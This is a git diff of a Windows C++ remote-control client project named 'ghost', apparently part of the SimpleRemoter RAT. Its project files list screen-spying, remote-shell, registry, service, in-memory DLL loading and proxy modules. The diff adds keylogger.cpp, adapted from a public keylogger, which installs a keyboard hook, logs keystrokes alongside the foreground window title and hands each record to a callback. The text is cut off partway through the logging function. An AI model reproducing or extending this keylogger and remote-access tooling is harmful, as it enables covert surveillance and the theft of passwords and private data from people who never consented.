<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
|
||||||
</ImportGroup>
|
|
||||||
<PropertyGroup Label="UserMacros" />
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
|
||||||
<IntDir>$(Configuration)\ghost</IntDir>
|
|
||||||
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
|
||||||
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
|
||||||
<IntDir>$(Configuration)\ghost</IntDir>
|
|
||||||
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
|
||||||
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
|
||||||
</PropertyGroup>
|
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
|
||||||
<ClCompile>
|
|
||||||
<WarningLevel>Level3</WarningLevel>
|
|
||||||
<Optimization>Disabled</Optimization>
|
|
||||||
<AdditionalIncludeDirectories>./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
|
||||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
|
||||||
<PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
||||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
|
||||||
<MinimalRebuild>false</MinimalRebuild>
|
|
||||||
</ClCompile>
|
|
||||||
<Link>
|
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
|
||||||
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
|
||||||
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
|
|
||||||
<EntryPointSymbol>
|
|
||||||
</EntryPointSymbol>
|
|
||||||
<SubSystem>Console</SubSystem>
|
|
||||||
</Link>
|
|
||||||
</ItemDefinitionGroup>
|
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
|
||||||
<ClCompile>
|
|
||||||
<WarningLevel>Level3</WarningLevel>
|
|
||||||
<Optimization>MaxSpeed</Optimization>
|
|
||||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
|
||||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
|
||||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
|
||||||
<AdditionalIncludeDirectories>./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
|
||||||
<PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
||||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
|
||||||
</ClCompile>
|
|
||||||
<Link>
|
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
|
||||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
|
||||||
<OptimizeReferences>true</OptimizeReferences>
|
|
||||||
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
|
||||||
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
|
||||||
<SubSystem>Windows</SubSystem>
|
|
||||||
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
|
||||||
</Link>
|
|
||||||
</ItemDefinitionGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ClCompile Include="Audio.cpp" />
|
|
||||||
<ClCompile Include="AudioManager.cpp" />
|
|
||||||
<ClCompile Include="Buffer.cpp" />
|
|
||||||
<ClCompile Include="CaptureVideo.cpp" />
|
|
||||||
<ClCompile Include="ClientDll.cpp" />
|
|
||||||
<ClCompile Include="Common.cpp" />
|
|
||||||
<ClCompile Include="FileManager.cpp" />
|
|
||||||
<ClCompile Include="IOCPClient.cpp" />
|
|
||||||
<ClCompile Include="KernelManager.cpp" />
|
|
||||||
<ClCompile Include="LoginServer.cpp" />
|
|
||||||
<ClCompile Include="Manager.cpp" />
|
|
||||||
<ClCompile Include="RegisterManager.cpp" />
|
|
||||||
<ClCompile Include="RegisterOperation.cpp" />
|
|
||||||
<ClCompile Include="ScreenManager.cpp" />
|
|
||||||
<ClCompile Include="ScreenSpy.cpp" />
|
|
||||||
<ClCompile Include="ServicesManager.cpp" />
|
|
||||||
<ClCompile Include="ShellManager.cpp" />
|
|
||||||
<ClCompile Include="StdAfx.cpp" />
|
|
||||||
<ClCompile Include="SystemManager.cpp" />
|
|
||||||
<ClCompile Include="TalkManager.cpp" />
|
|
||||||
<ClCompile Include="VideoManager.cpp" />
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ClInclude Include="Audio.h" />
|
|
||||||
<ClInclude Include="AudioManager.h" />
|
|
||||||
<ClInclude Include="Buffer.h" />
|
|
||||||
<ClInclude Include="CaptureVideo.h" />
|
|
||||||
<ClInclude Include="Common.h" />
|
|
||||||
<ClInclude Include="CursorInfo.h" />
|
|
||||||
<ClInclude Include="FileManager.h" />
|
|
||||||
<ClInclude Include="IOCPClient.h" />
|
|
||||||
<ClInclude Include="KernelManager.h" />
|
|
||||||
<ClInclude Include="LoginServer.h" />
|
|
||||||
<ClInclude Include="Manager.h" />
|
|
||||||
<ClInclude Include="RegisterManager.h" />
|
|
||||||
<ClInclude Include="RegisterOperation.h" />
|
|
||||||
<ClInclude Include="resource.h" />
|
|
||||||
<ClInclude Include="ScreenManager.h" />
|
|
||||||
<ClInclude Include="ScreenSpy.h" />
|
|
||||||
<ClInclude Include="ServicesManager.h" />
|
|
||||||
<ClInclude Include="ShellManager.h" />
|
|
||||||
<ClInclude Include="StdAfx.h" />
|
|
||||||
<ClInclude Include="SystemManager.h" />
|
|
||||||
<ClInclude Include="TalkManager.h" />
|
|
||||||
<ClInclude Include="VideoCodec.h" />
|
|
||||||
<ClInclude Include="VideoManager.h" />
|
|
||||||
<ClInclude Include="zconf.h" />
|
|
||||||
<ClInclude Include="zlib.h" />
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ResourceCompile Include="Script.rc" />
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<None Include="ExportFunTable.def" />
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<Media Include="Res\msg.wav" />
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<Image Include="Res\ghost.ico" />
|
|
||||||
<Image Include="Res\msg.ico" />
|
|
||||||
</ItemGroup>
|
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
|
||||||
<ImportGroup Label="ExtensionTargets">
|
|
||||||
</ImportGroup>
|
|
||||||
</Project>
|
|
||||||
@@ -1,182 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="utf-8"?>
|
|
||||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
|
||||||
<ItemGroup>
|
|
||||||
<Filter Include="源文件">
|
|
||||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
|
||||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
|
||||||
</Filter>
|
|
||||||
<Filter Include="头文件">
|
|
||||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
|
||||||
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
|
||||||
</Filter>
|
|
||||||
<Filter Include="资源文件">
|
|
||||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
|
||||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
|
||||||
</Filter>
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ClCompile Include="Audio.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="AudioManager.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="Buffer.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="CaptureVideo.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="ClientDll.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="Common.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="FileManager.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="IOCPClient.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="KernelManager.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="LoginServer.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="Manager.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="RegisterManager.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="RegisterOperation.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="ScreenManager.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="ScreenSpy.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="ServicesManager.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="ShellManager.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="StdAfx.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="SystemManager.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="TalkManager.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="VideoManager.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ClInclude Include="Audio.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="AudioManager.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="Buffer.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="CaptureVideo.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="Common.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="FileManager.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="IOCPClient.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="KernelManager.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="LoginServer.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="Manager.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="RegisterManager.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="RegisterOperation.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="resource.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="ScreenManager.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="ScreenSpy.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="ServicesManager.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="ShellManager.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="StdAfx.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="SystemManager.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="TalkManager.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="VideoCodec.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="VideoManager.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="zconf.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="zlib.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="CursorInfo.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ResourceCompile Include="Script.rc">
|
|
||||||
<Filter>资源文件</Filter>
|
|
||||||
</ResourceCompile>
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<None Include="ExportFunTable.def">
|
|
||||||
<Filter>资源文件</Filter>
|
|
||||||
</None>
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<Media Include="Res\msg.wav">
|
|
||||||
<Filter>资源文件</Filter>
|
|
||||||
</Media>
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<Image Include="Res\ghost.ico">
|
|
||||||
<Filter>资源文件</Filter>
|
|
||||||
</Image>
|
|
||||||
<Image Include="Res\msg.ico">
|
|
||||||
<Filter>资源文件</Filter>
|
|
||||||
</Image>
|
|
||||||
</ItemGroup>
|
|
||||||
</Project>
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="utf-8"?>
|
|
||||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
|
||||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
|
||||||
<LocalDebuggerCommandArguments>127.0.0.1 6543</LocalDebuggerCommandArguments>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
|
||||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
|
||||||
<LocalDebuggerCommandArguments>127.0.0.1 2356</LocalDebuggerCommandArguments>
|
|
||||||
</PropertyGroup>
|
|
||||||
</Project>
|
|
||||||
@@ -71,22 +71,22 @@
|
|||||||
<PropertyGroup Label="UserMacros" />
|
<PropertyGroup Label="UserMacros" />
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<IntDir>$(Configuration)\ghost</IntDir>
|
<IntDir>$(Configuration)\ghost</IntDir>
|
||||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
|
||||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
|
||||||
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
|
||||||
<IntDir>$(Platform)\$(Configuration)\ghost</IntDir>
|
<IntDir>$(Platform)\$(Configuration)\ghost</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
<IntDir>$(Configuration)\ghost</IntDir>
|
<IntDir>$(Configuration)\ghost</IntDir>
|
||||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
|
||||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
|
||||||
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
|
||||||
<IntDir>$(Platform)\$(Configuration)\ghost</IntDir>
|
<IntDir>$(Platform)\$(Configuration)\ghost</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
@@ -171,6 +171,7 @@
|
|||||||
</Link>
|
</Link>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
<ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
|
||||||
<ClCompile Include="Audio.cpp" />
|
<ClCompile Include="Audio.cpp" />
|
||||||
<ClCompile Include="AudioManager.cpp" />
|
<ClCompile Include="AudioManager.cpp" />
|
||||||
<ClCompile Include="Buffer.cpp" />
|
<ClCompile Include="Buffer.cpp" />
|
||||||
@@ -179,10 +180,14 @@
|
|||||||
<ClCompile Include="Common.cpp" />
|
<ClCompile Include="Common.cpp" />
|
||||||
<ClCompile Include="FileManager.cpp" />
|
<ClCompile Include="FileManager.cpp" />
|
||||||
<ClCompile Include="IOCPClient.cpp" />
|
<ClCompile Include="IOCPClient.cpp" />
|
||||||
|
<ClCompile Include="IOCPUDPClient.cpp" />
|
||||||
<ClCompile Include="KernelManager.cpp" />
|
<ClCompile Include="KernelManager.cpp" />
|
||||||
<ClCompile Include="KeyboardManager.cpp" />
|
<ClCompile Include="KeyboardManager.cpp" />
|
||||||
|
<ClCompile Include="keylogger.cpp" />
|
||||||
<ClCompile Include="LoginServer.cpp" />
|
<ClCompile Include="LoginServer.cpp" />
|
||||||
<ClCompile Include="Manager.cpp" />
|
<ClCompile Include="Manager.cpp" />
|
||||||
|
<ClCompile Include="MemoryModule.c" />
|
||||||
|
<ClCompile Include="proxy\ProxyManager.cpp" />
|
||||||
<ClCompile Include="RegisterManager.cpp" />
|
<ClCompile Include="RegisterManager.cpp" />
|
||||||
<ClCompile Include="RegisterOperation.cpp" />
|
<ClCompile Include="RegisterOperation.cpp" />
|
||||||
<ClCompile Include="ScreenManager.cpp" />
|
<ClCompile Include="ScreenManager.cpp" />
|
||||||
@@ -196,20 +201,24 @@
|
|||||||
<ClCompile Include="X264Encoder.cpp" />
|
<ClCompile Include="X264Encoder.cpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClInclude Include="..\common\commands.h" />
|
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
|
||||||
<ClInclude Include="Audio.h" />
|
<ClInclude Include="Audio.h" />
|
||||||
<ClInclude Include="AudioManager.h" />
|
<ClInclude Include="AudioManager.h" />
|
||||||
<ClInclude Include="Buffer.h" />
|
<ClInclude Include="Buffer.h" />
|
||||||
<ClInclude Include="CaptureVideo.h" />
|
<ClInclude Include="CaptureVideo.h" />
|
||||||
<ClInclude Include="ClientDll.h" />
|
|
||||||
<ClInclude Include="Common.h" />
|
<ClInclude Include="Common.h" />
|
||||||
<ClInclude Include="CursorInfo.h" />
|
<ClInclude Include="CursorInfo.h" />
|
||||||
|
<ClInclude Include="domain_pool.h" />
|
||||||
<ClInclude Include="FileManager.h" />
|
<ClInclude Include="FileManager.h" />
|
||||||
<ClInclude Include="IOCPClient.h" />
|
<ClInclude Include="IOCPClient.h" />
|
||||||
|
<ClInclude Include="IOCPUDPClient.h" />
|
||||||
<ClInclude Include="KernelManager.h" />
|
<ClInclude Include="KernelManager.h" />
|
||||||
<ClInclude Include="KeyboardManager.h" />
|
<ClInclude Include="KeyboardManager.h" />
|
||||||
|
<ClInclude Include="keylogger.h" />
|
||||||
<ClInclude Include="LoginServer.h" />
|
<ClInclude Include="LoginServer.h" />
|
||||||
<ClInclude Include="Manager.h" />
|
<ClInclude Include="Manager.h" />
|
||||||
|
<ClInclude Include="MemoryModule.h" />
|
||||||
|
<ClInclude Include="proxy\ProxyManager.h" />
|
||||||
<ClInclude Include="RegisterManager.h" />
|
<ClInclude Include="RegisterManager.h" />
|
||||||
<ClInclude Include="RegisterOperation.h" />
|
<ClInclude Include="RegisterOperation.h" />
|
||||||
<ClInclude Include="resource.h" />
|
<ClInclude Include="resource.h" />
|
||||||
|
|||||||
4
client/ghost_vs2015.vcxproj.user
Normal file
4
client/ghost_vs2015.vcxproj.user
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<PropertyGroup />
|
||||||
|
</Project>
|
||||||
217
client/keylogger.cpp
Normal file
217
client/keylogger.cpp
Normal file
@@ -0,0 +1,217 @@
|
|||||||
|
#include "keylogger.h"
|
||||||
|
#include <cstring>
|
||||||
|
#include <cstdio>
|
||||||
|
#include <time.h>
|
||||||
|
#include <fstream>
|
||||||
|
#include <sstream>
|
||||||
|
#include <map>
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
#if USING_KB_HOOK
|
||||||
|
|
||||||
|
// copied from: https://github.com/GiacomoLaw/Keylogger/blob/master/windows/klog_main.cpp
|
||||||
|
// 2024/02/07 source code last modified
|
||||||
|
// 2025/02/24 this file last modified
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
// defines whether the window is visible or not
|
||||||
|
// should be solved with makefile, not in this file
|
||||||
|
#define visible // (visible / invisible)
|
||||||
|
// Defines whether you want to enable or disable
|
||||||
|
// boot time waiting if running at system boot.
|
||||||
|
#define bootwait // (bootwait / nowait)
|
||||||
|
// defines which format to use for logging
|
||||||
|
// 0 for default, 10 for dec codes, 16 for hex codex
|
||||||
|
#define FORMAT 0
|
||||||
|
// defines if ignore mouseclicks
|
||||||
|
#define mouseignore
|
||||||
|
// variable to store the HANDLE to the hook. Don't declare it anywhere else then globally
|
||||||
|
// or you will get problems since every function uses this variable.
|
||||||
|
|
||||||
|
#if FORMAT == 0
|
||||||
|
const std::map<int, std::string> keyname{
|
||||||
|
{VK_BACK, "[BACKSPACE]" },
|
||||||
|
{VK_RETURN, "\n" },
|
||||||
|
{VK_SPACE, "_" },
|
||||||
|
{VK_TAB, "[TAB]" },
|
||||||
|
{VK_SHIFT, "[SHIFT]" },
|
||||||
|
{VK_LSHIFT, "[LSHIFT]" },
|
||||||
|
{VK_RSHIFT, "[RSHIFT]" },
|
||||||
|
{VK_CONTROL, "[CONTROL]" },
|
||||||
|
{VK_LCONTROL, "[LCONTROL]" },
|
||||||
|
{VK_RCONTROL, "[RCONTROL]" },
|
||||||
|
{VK_MENU, "[ALT]" },
|
||||||
|
{VK_LWIN, "[LWIN]" },
|
||||||
|
{VK_RWIN, "[RWIN]" },
|
||||||
|
{VK_ESCAPE, "[ESCAPE]" },
|
||||||
|
{VK_END, "[END]" },
|
||||||
|
{VK_HOME, "[HOME]" },
|
||||||
|
{VK_LEFT, "[LEFT]" },
|
||||||
|
{VK_RIGHT, "[RIGHT]" },
|
||||||
|
{VK_UP, "[UP]" },
|
||||||
|
{VK_DOWN, "[DOWN]" },
|
||||||
|
{VK_PRIOR, "[PG_UP]" },
|
||||||
|
{VK_NEXT, "[PG_DOWN]" },
|
||||||
|
{VK_OEM_PERIOD, "." },
|
||||||
|
{VK_DECIMAL, "." },
|
||||||
|
{VK_OEM_PLUS, "+" },
|
||||||
|
{VK_OEM_MINUS, "-" },
|
||||||
|
{VK_ADD, "+" },
|
||||||
|
{VK_SUBTRACT, "-" },
|
||||||
|
{VK_CAPITAL, "[CAPSLOCK]" },
|
||||||
|
};
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// A callback function for processing record by user.
|
||||||
|
typedef int (CALLBACK* Callback)(const char* record, void* user);
|
||||||
|
|
||||||
|
// Global variables.
|
||||||
|
|
||||||
|
HHOOK _hook = NULL;
|
||||||
|
Callback _cllback = NULL;
|
||||||
|
void* _user = NULL;
|
||||||
|
|
||||||
|
// Save parse keyboard information and use callback to process record.
|
||||||
|
int Save(int key_stroke)
|
||||||
|
{
|
||||||
|
std::stringstream output;
|
||||||
|
static char lastwindow[MAX_PATH] = {};
|
||||||
|
#ifndef mouseignore
|
||||||
|
if ((key_stroke == 1) || (key_stroke == 2))
|
||||||
|
{
|
||||||
|
return 0; // ignore mouse clicks
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
HWND foreground = GetForegroundWindow();
|
||||||
|
HKL layout = NULL;
|
||||||
|
|
||||||
|
if (foreground)
|
||||||
|
{
|
||||||
|
// get keyboard layout of the thread
|
||||||
|
GET_PROCESS_EASY(GetWindowThreadProcessId);
|
||||||
|
DWORD threadID = GetWindowThreadProcessId(foreground, NULL);
|
||||||
|
GET_PROCESS_EASY(GetKeyboardLayout);
|
||||||
|
layout = GetKeyboardLayout(threadID);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (foreground)
|
||||||
|
{
|
||||||
|
char window_title[MAX_PATH] = {};
|
||||||
|
GET_PROCESS_EASY(GetWindowTextA);
|
||||||
|
GetWindowTextA(foreground, (LPSTR)window_title, MAX_PATH);
|
||||||
|
|
||||||
|
if (strcmp(window_title, lastwindow) != 0)
|
||||||
|
{
|
||||||
|
